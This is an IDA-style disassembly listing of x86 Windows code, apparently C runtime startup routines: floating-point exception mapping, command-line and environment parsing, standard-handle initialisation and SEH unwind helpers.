		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_41C9FD:				; CODE XREF: sub_41C981+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41CA0A:				; CODE XREF: sub_41C981+10j
					; sub_41C981+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41C981	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA0E	proc near		; CODE XREF: sub_419096+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41CA38
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41CA49
		push	esi
		call	sub_41B4B0
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41CA38:				; CODE XREF: sub_41CA0E+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41CA49
		push	eax
		call	sub_41B4B0
		pop	ecx


loc_41CA49:				; CODE XREF: sub_41CA0E+10j
					; sub_41CA0E+32j
		pop	esi
		retn
sub_41CA0E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_41CB8C
		test	eax, eax
		pop	ecx
		jz	loc_41CB80
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41CB80
		cmp	ebx, 5
		jnz	short loc_41CA7C
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41CB89
; ---------------------------------------------------------------------------


loc_41CA7C:				; CODE XREF: ___:0041CA6Ej
		cmp	ebx, 1
		jz	loc_41CB7B
		mov	ecx, dword_515924
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_515924, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41CB6B
		mov	ecx, dword_43BAC0
		mov	edx, dword_43BAC4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41CACB
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43BA50h[esi*4]


loc_41CAC2:				; CODE XREF: ___:0041CAC9j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41CAC2


loc_41CACB:				; CODE XREF: ___:0041CAB4j
		mov	eax, [eax]
		mov	esi, dword_43BACC
		cmp	eax, 0C000008Eh
		jnz	short loc_41CAE6
		mov	dword_43BACC, 83h
		jmp	short loc_41CB56
; ---------------------------------------------------------------------------


loc_41CAE6:				; CODE XREF: ___:0041CAD8j
		cmp	eax, 0C0000090h
		jnz	short loc_41CAF9
		mov	dword_43BACC, 81h
		jmp	short loc_41CB56
; ---------------------------------------------------------------------------


loc_41CAF9:				; CODE XREF: ___:0041CAEBj
		cmp	eax, 0C0000091h
		jnz	short loc_41CB0C
		mov	dword_43BACC, 84h
		jmp	short loc_41CB56
; ---------------------------------------------------------------------------


loc_41CB0C:				; CODE XREF: ___:0041CAFEj
		cmp	eax, 0C0000093h
		jnz	short loc_41CB1F
		mov	dword_43BACC, 85h
		jmp	short loc_41CB56
; ---------------------------------------------------------------------------


loc_41CB1F:				; CODE XREF: ___:0041CB11j
		cmp	eax, 0C000008Dh
		jnz	short loc_41CB32
		mov	dword_43BACC, 82h
		jmp	short loc_41CB56
; ---------------------------------------------------------------------------


loc_41CB32:				; CODE XREF: ___:0041CB24j
		cmp	eax, 0C000008Fh
		jnz	short loc_41CB45
		mov	dword_43BACC, 86h
		jmp	short loc_41CB56
; ---------------------------------------------------------------------------


loc_41CB45:				; CODE XREF: ___:0041CB37j
		cmp	eax, 0C0000092h
		jnz	short loc_41CB56
		mov	dword_43BACC, 8Ah


loc_41CB56:				; CODE XREF: ___:0041CAE4j
					; ___:0041CAF7j ...
		push	dword_43BACC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43BACC, esi
		pop	ecx
		pop	esi
		jmp	short loc_41CB73
; ---------------------------------------------------------------------------


loc_41CB6B:				; CODE XREF: ___:0041CA9Dj
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41CB73:				; CODE XREF: ___:0041CB69j
		mov	eax, [ebp+8]
		mov	dword_515924, eax


loc_41CB7B:				; CODE XREF: ___:0041CA7Fj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41CB89
; ---------------------------------------------------------------------------


loc_41CB80:				; CODE XREF: ___:0041CA5Aj
					; ___:0041CA65j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 7C862E2Ah


loc_41CB89:				; CODE XREF: ___:0041CA77j
					; ___:0041CB7Ej
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; CODE XREF: ___:0041CA52p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43BAC8
		cmp	dword_43BA48, edx
		push	esi
		mov	eax, offset dword_43BA48
		jz	short loc_41CBB9
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43BA48h[esi*4]


loc_41CBAE:				; CODE XREF: sub_41CB8C+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41CBB9
		cmp	[eax], edx
		jnz	short loc_41CBAE


loc_41CBB9:				; CODE XREF: sub_41CB8C+16j
					; sub_41CB8C+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43BA48h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41CBCC
		cmp	[eax], edx
		jz	short locret_41CBCE


loc_41CBCC:				; CODE XREF: sub_41CB8C+3Aj
		xor	eax, eax

locret_41CBCE:				; CODE XREF: sub_41CB8C+3Ej
		retn
sub_41CB8C	endp

; ---------------------------------------------------------------------------
		cmp	dword_516ECC, 0
		jnz	short loc_41CBDD
		call	sub_41C3C0


loc_41CBDD:				; CODE XREF: ___:0041CBD6j
		push	esi
		mov	esi, dword_516EC4
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41CC0F


loc_41CBEA:				; CODE XREF: ___:0041CC02j
					; ___:0041CC05j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41CC07
		test	al, al
		jz	short loc_41CC07
		movzx	eax, al
		push	eax
		call	sub_41EE1B
		test	eax, eax
		pop	ecx
		jz	short loc_41CBEA
		inc	esi
		jmp	short loc_41CBEA
; ---------------------------------------------------------------------------


loc_41CC07:				; CODE XREF: ___:0041CBF0j
					; ___:0041CBF4j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41CC19


loc_41CC0C:				; CODE XREF: ___:0041CC21j
		inc	esi
		jmp	short loc_41CC19
; ---------------------------------------------------------------------------


loc_41CC0F:				; CODE XREF: ___:0041CBE8j
		cmp	al, 20h
		jbe	short loc_41CC19


loc_41CC13:				; CODE XREF: ___:0041CC17j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41CC13


loc_41CC19:				; CODE XREF: ___:0041CC0Aj
					; ___:0041CC0Dj ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41CC23
		cmp	al, 20h
		jbe	short loc_41CC0C


loc_41CC23:				; CODE XREF: ___:0041CC1Dj
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_516ECC, ebx
		push	esi
		push	edi
		jnz	short loc_41CC39
		call	sub_41C3C0


loc_41CC39:				; CODE XREF: ___:0041CC32j
		mov	esi, dword_5158D0
		xor	edi, edi


loc_41CC41:				; CODE XREF: ___:0041CC57j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41CC59
		cmp	al, 3Dh
		jz	short loc_41CC4C
		inc	edi


loc_41CC4C:				; CODE XREF: ___:0041CC49j
		push	esi
		call	sub_417AF0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41CC41
; ---------------------------------------------------------------------------


loc_41CC59:				; CODE XREF: ___:0041CC45j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_417BEE
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_5158AC, esi
		jnz	short loc_41CC7B
		push	9
		call	sub_4191E5
		pop	ecx


loc_41CC7B:				; CODE XREF: ___:0041CC71j
		mov	edi, dword_5158D0
		cmp	[edi], bl
		jz	short loc_41CCBE
		push	ebp


loc_41CC86:				; CODE XREF: ___:0041CCBBj
		push	edi
		call	sub_417AF0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41CCB7
		push	ebp
		call	sub_417BEE
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41CCAA
		push	9
		call	sub_4191E5
		pop	ecx


loc_41CCAA:				; CODE XREF: ___:0041CCA0j
		push	edi
		push	dword ptr [esi]
		call	sub_417A00
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41CCB7:				; CODE XREF: ___:0041CC93j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41CC86
		pop	ebp


loc_41CCBE:				; CODE XREF: ___:0041CC83j
		push	dword_5158D0
		call	sub_417C62
		pop	ecx
		mov	dword_5158D0, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_516EC8, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_516ECC, ebx
		push	esi
		push	edi
		jnz	short loc_41CCF7
		call	sub_41C3C0


loc_41CCF7:				; CODE XREF: ___:0041CCF0j
		mov	esi, offset dword_515928
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 7C80B4CFh
		mov	eax, dword_516EC4
		mov	dword_5158BC, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41CD1C
		mov	edi, eax


loc_41CD1C:				; CODE XREF: ___:0041CD18j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41CD79
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_417BEE
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41CD4C
		push	8
		call	sub_4191E5
		pop	ecx


loc_41CD4C:				; CODE XREF: ___:0041CD42j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41CD79
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_5158A4, esi
		pop	edi
		pop	esi
		mov	dword_5158A0, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD79	proc near		; CODE XREF: ___:0041CD27p
					; ___:0041CD5Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41CDA3
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41CDA3:				; CODE XREF: sub_41CD79+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41CDEC


loc_41CDA8:				; CODE XREF: sub_41CD79+58j
					; sub_41CD79+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41CDDA
		test	dl, dl
		jz	short loc_41CDDA
		movzx	edx, dl
		test	byte_516DA1[edx], 4
		jz	short loc_41CDCD
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41CDCD
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41CDCD:				; CODE XREF: sub_41CD79+46j
					; sub_41CD79+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41CDA8
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41CDA8
; ---------------------------------------------------------------------------


loc_41CDDA:				; CODE XREF: sub_41CD79+36j
					; sub_41CD79+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41CDE4
		and	byte ptr [esi],	0
		inc	esi


loc_41CDE4:				; CODE XREF: sub_41CD79+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41CE2F
		inc	eax
		jmp	short loc_41CE2F
; ---------------------------------------------------------------------------


loc_41CDEC:				; CODE XREF: sub_41CD79+2Dj
					; sub_41CD79+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41CDF7
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41CDF7:				; CODE XREF: sub_41CD79+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_516DA1[ebx], 4
		jz	short loc_41CE12
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41CE11
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41CE11:				; CODE XREF: sub_41CD79+91j
		inc	eax


loc_41CE12:				; CODE XREF: sub_41CD79+8Bj
		cmp	dl, 20h
		jz	short loc_41CE20
		test	dl, dl
		jz	short loc_41CE24
		cmp	dl, 9
		jnz	short loc_41CDEC


loc_41CE20:				; CODE XREF: sub_41CD79+9Cj
		test	dl, dl
		jnz	short loc_41CE27


loc_41CE24:				; CODE XREF: sub_41CD79+A0j
		dec	eax
		jmp	short loc_41CE2F
; ---------------------------------------------------------------------------


loc_41CE27:				; CODE XREF: sub_41CD79+A9j
		test	esi, esi
		jz	short loc_41CE2F
		and	byte ptr [esi-1], 0


loc_41CE2F:				; CODE XREF: sub_41CD79+6Ej
					; sub_41CD79+71j ...
		and	[ebp+arg_10], 0


loc_41CE33:				; CODE XREF: sub_41CD79+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41CF1C


loc_41CE3C:				; CODE XREF: sub_41CD79+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41CE48
		cmp	dl, 9
		jnz	short loc_41CE4B


loc_41CE48:				; CODE XREF: sub_41CD79+C8j
		inc	eax
		jmp	short loc_41CE3C
; ---------------------------------------------------------------------------


loc_41CE4B:				; CODE XREF: sub_41CD79+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41CF1C
		test	edi, edi
		jz	short loc_41CE60
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41CE60:				; CODE XREF: sub_41CD79+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41CE65:				; CODE XREF: sub_41CD79+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41CE6E:				; CODE XREF: sub_41CD79+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41CE77
		inc	eax
		inc	ebx
		jmp	short loc_41CE6E
; ---------------------------------------------------------------------------


loc_41CE77:				; CODE XREF: sub_41CD79+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41CEA8
		test	bl, 1
		jnz	short loc_41CEA6
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41CE95
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41CE95
		mov	eax, edx
		jmp	short loc_41CE98
; ---------------------------------------------------------------------------


loc_41CE95:				; CODE XREF: sub_41CD79+10Dj
					; sub_41CD79+116j
		mov	[ebp+arg_0], edi


loc_41CE98:				; CODE XREF: sub_41CD79+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41CEA6:				; CODE XREF: sub_41CD79+106j
		shr	ebx, 1


loc_41CEA8:				; CODE XREF: sub_41CD79+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41CEBD
		inc	ebx


loc_41CEB0:				; CODE XREF: sub_41CD79+142j
		test	esi, esi
		jz	short loc_41CEB8
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41CEB8:				; CODE XREF: sub_41CD79+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41CEB0


loc_41CEBD:				; CODE XREF: sub_41CD79+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41CF0D
		cmp	[ebp+arg_10], 0
		jnz	short loc_41CED3
		cmp	dl, 20h
		jz	short loc_41CF0D
		cmp	dl, 9
		jz	short loc_41CF0D


loc_41CED3:				; CODE XREF: sub_41CD79+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41CF07
		test	esi, esi
		jz	short loc_41CEF6
		movzx	ebx, dl
		test	byte_516DA1[ebx], 4
		jz	short loc_41CEEF
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41CEEF:				; CODE XREF: sub_41CD79+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41CF05
; ---------------------------------------------------------------------------


loc_41CEF6:				; CODE XREF: sub_41CD79+162j
		movzx	edx, dl
		test	byte_516DA1[edx], 4
		jz	short loc_41CF05
		inc	eax
		inc	dword ptr [ecx]


loc_41CF05:				; CODE XREF: sub_41CD79+17Bj
					; sub_41CD79+187j
		inc	dword ptr [ecx]


loc_41CF07:				; CODE XREF: sub_41CD79+15Ej
		inc	eax
		jmp	loc_41CE65
; ---------------------------------------------------------------------------


loc_41CF0D:				; CODE XREF: sub_41CD79+148j
					; sub_41CD79+153j ...
		test	esi, esi
		jz	short loc_41CF15
		and	byte ptr [esi],	0
		inc	esi


loc_41CF15:				; CODE XREF: sub_41CD79+196j
		inc	dword ptr [ecx]
		jmp	loc_41CE33
; ---------------------------------------------------------------------------


loc_41CF1C:				; CODE XREF: sub_41CD79+BDj
					; sub_41CD79+D5j
		test	edi, edi
		jz	short loc_41CF23
		and	dword ptr [edi], 0


loc_41CF23:				; CODE XREF: sub_41CD79+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41CD79	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_515A2C
		push	ebx
		push	ebp
		mov	ebp, dword_421034
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41CF7B
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41CF5C
		mov	dword_515A2C, 1
		jmp	short loc_41CF84
; ---------------------------------------------------------------------------


loc_41CF5C:				; CODE XREF: ___:0041CF4Ej
		nop
		call	near ptr 7C81CF5Bh
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41D056
		mov	dword_515A2C, 2
		jmp	loc_41D00A
; ---------------------------------------------------------------------------


loc_41CF7B:				; CODE XREF: ___:0041CF46j
		cmp	eax, 1
		jnz	loc_41D005


loc_41CF84:				; CODE XREF: ___:0041CF5Aj
		cmp	esi, ebx
		jnz	short loc_41CF94
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41D056


loc_41CF94:				; CODE XREF: ___:0041CF86j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41CFA9


loc_41CF9B:				; CODE XREF: ___:0041CFA0j
					; ___:0041CFA7j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41CF9B
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41CF9B


loc_41CFA9:				; CODE XREF: ___:0041CF99j
		sub	eax, esi
		mov	edi, dword_421158
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41CFFA
		push	ebp
		call	sub_417BEE
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_41CFFA
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41CFF6
		push	dword ptr [esp+10h]
		call	sub_417C62
		pop	ecx
		mov	[esp+10h], ebx


loc_41CFF6:				; CODE XREF: ___:0041CFE6j
		mov	ebx, [esp+10h]


loc_41CFFA:				; CODE XREF: ___:0041CFC6j
					; ___:0041CFD5j
		push	esi
		nop
		call	near ptr 7C814AE7h
		mov	eax, ebx
		jmp	short loc_41D058
; ---------------------------------------------------------------------------


loc_41D005:				; CODE XREF: ___:0041CF7Ej
		cmp	eax, 2
		jnz	short loc_41D056


loc_41D00A:				; CODE XREF: ___:0041CF76j
		cmp	edi, ebx
		jnz	short loc_41D01A
		nop
		call	near ptr 7C81CF5Bh
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41D056


loc_41D01A:				; CODE XREF: ___:0041D00Cj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41D02A


loc_41D020:				; CODE XREF: ___:0041D023j
					; ___:0041D028j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41D020
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41D020


loc_41D02A:				; CODE XREF: ___:0041D01Ej
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_417BEE
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41D040
		xor	esi, esi
		jmp	short loc_41D04B
; ---------------------------------------------------------------------------


loc_41D040:				; CODE XREF: ___:0041D03Aj
		push	ebp
		push	edi
		push	esi
		call	sub_417490
		add	esp, 0Ch


loc_41D04B:				; CODE XREF: ___:0041D03Ej
		push	edi
		nop
		call	near ptr 7C81DF77h
		mov	eax, esi
		jmp	short loc_41D058
; ---------------------------------------------------------------------------


loc_41D056:				; CODE XREF: ___:0041CF66j
					; ___:0041CF8Ej ...
		xor	eax, eax


loc_41D058:				; CODE XREF: ___:0041D003j
					; ___:0041D054j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_417BEE
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41D07F
		push	1Bh
		call	sub_4191E5
		pop	ecx


loc_41D07F:				; CODE XREF: ___:0041D075j
		mov	dword_516B80, esi
		mov	dword_516C80, 20h
		lea	eax, [esi+100h]


loc_41D095:				; CODE XREF: ___:0041D0B1j
		cmp	esi, eax
		jnb	short loc_41D0B3
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_516B80
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41D095
; ---------------------------------------------------------------------------


loc_41D0B3:				; CODE XREF: ___:0041D097j
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 7C801EEEh
		cmp	word ptr [esp+42h], 0
		jz	loc_41D18F
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_41D18F
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41D0E9
		mov	esi, eax


loc_41D0E9:				; CODE XREF: ___:0041D0E5j
		cmp	dword_516C80, esi
		jge	short loc_41D143
		mov	edi, offset dword_516B84


loc_41D0F6:				; CODE XREF: ___:0041D139j
		push	100h
		call	sub_417BEE
		test	eax, eax
		pop	ecx
		jz	short loc_41D13D
		add	dword_516C80, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41D114:				; CODE XREF: ___:0041D12Ej
		cmp	eax, ecx
		jnb	short loc_41D130
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41D114
; ---------------------------------------------------------------------------


loc_41D130:				; CODE XREF: ___:0041D116j
		add	edi, 4
		cmp	dword_516C80, esi
		jl	short loc_41D0F6
		jmp	short loc_41D143
; ---------------------------------------------------------------------------


loc_41D13D:				; CODE XREF: ___:0041D103j
		mov	esi, dword_516C80


loc_41D143:				; CODE XREF: ___:0041D0EFj
					; ___:0041D13Bj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41D18F


loc_41D149:				; CODE XREF: ___:0041D18Dj
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D186
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41D186
		test	cl, 8
		jnz	short loc_41D168
		push	eax
		nop
		call	near ptr 7C810E51h
		test	eax, eax
		jz	short loc_41D186


loc_41D168:				; CODE XREF: ___:0041D15Bj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_516B80[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41D186:				; CODE XREF: ___:0041D14Ej
					; ___:0041D156j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41D149


loc_41D18F:				; CODE XREF: ___:0041D0C4j
					; ___:0041D0D0j ...
		xor	ebx, ebx


loc_41D191:				; CODE XREF: ___:0041D1F4j
		mov	eax, dword_516B80
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41D1EC
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41D1AC
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41D1B6
; ---------------------------------------------------------------------------


loc_41D1AC:				; CODE XREF: ___:0041D1A5j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41D1B6:				; CODE XREF: ___:0041D1AAj
		push	eax
		nop
		call	near ptr 7C812F39h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41D1DB
		push	edi
		nop
		call	near ptr 7C810E51h
		test	eax, eax
		jz	short loc_41D1DB
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41D1E1


loc_41D1DB:				; CODE XREF: ___:0041D1C2j
					; ___:0041D1CDj
		or	byte ptr [esi+4], 40h
		jmp	short loc_41D1F0
; ---------------------------------------------------------------------------


loc_41D1E1:				; CODE XREF: ___:0041D1D9j
		cmp	eax, 3
		jnz	short loc_41D1F0
		or	byte ptr [esi+4], 8
		jmp	short loc_41D1F0
; ---------------------------------------------------------------------------


loc_41D1EC:				; CODE XREF: ___:0041D19Dj
		or	byte ptr [esi+4], 80h


loc_41D1F0:				; CODE XREF: ___:0041D1DFj
					; ___:0041D1E4j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41D191
		push	dword_516C80
		nop
		call	near ptr 7C80CC97h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D20C	proc near		; CODE XREF: sub_41D304+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_41D224
		push	[ebp+arg_0]
		call	sub_4203E8
sub_41D20C	endp

; ---------------------------------------------------------------------------


loc_41D224:				; DATA XREF: sub_41D20C+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D22C:				; DATA XREF: sub_41D24E+Ao
					; ___:0041D2BFo
		mov	ecx, [esp+4]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D24D
		mov	eax, [esp+8]
		mov	edx, [esp+10h]
		mov	[edx], eax
		mov	eax, 3

locret_41D24D:				; CODE XREF: ___:0041D23Cj
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41D24E	proc near		; CODE XREF: sub_41D304+67p
					; sub_41D304+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset loc_41D22C
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41D26B:				; CODE XREF: sub_41D24E:loc_41D2A6j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D2A8
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41D2A8
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
